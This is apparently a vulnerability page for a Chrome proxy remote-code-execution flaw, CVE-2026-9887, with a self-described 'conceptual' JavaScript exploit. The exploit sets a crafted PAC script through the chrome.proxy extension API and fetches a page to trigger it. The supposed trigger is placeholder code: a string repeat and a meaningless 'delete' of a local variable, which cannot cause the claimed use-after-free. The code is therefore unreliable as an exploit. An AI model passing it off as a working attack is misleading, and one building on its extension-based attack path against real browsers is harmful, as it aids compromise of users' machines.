CVE-2026-9887 Google Chrome Proxy远程代码执行漏洞

// Conceptual Proof of Concept for CVE-2026-9887 // Triggering UAF in Chrome Proxy via crafted PAC script // 1. Define a malicious PAC script designed to trigger the memory corruption // The specific logic inside FindProxyForURL would be crafted to manipulate // the internal state of the Proxy component. function triggerVulnerability() { const maliciousPac = ` function FindProxyForURL(url, host) { // Specific logic to cause UAF in Proxy component // This might involve specific string operations or object handling // that triggers the bug in Chrome < 148.0.7778.216 var temp = "A".repeat(10000); delete temp; return "PROXY 127.0.0.1:8080"; } `; // 2. Set the PAC script via the proxy settings API (Conceptual) // In a real attack scenario, this might be done via a compromised extension // or by modifying system network settings if the attacker has local access. chrome.proxy.settings.set({ value: { mode: "pac_script", pacScript: { data: maliciousPac } }, scope: "regular" }, function() { if (chrome.runtime.lastError) { console.error("Error setting PAC:", chrome.runtime.lastError); } else { console.log("Malicious PAC script set. Vulnerability condition prepared."); // 3. Trigger a network request to force the browser to evaluate the PAC script fetch("http://example.com"); } }); } // Execute the trigger triggerVulnerability();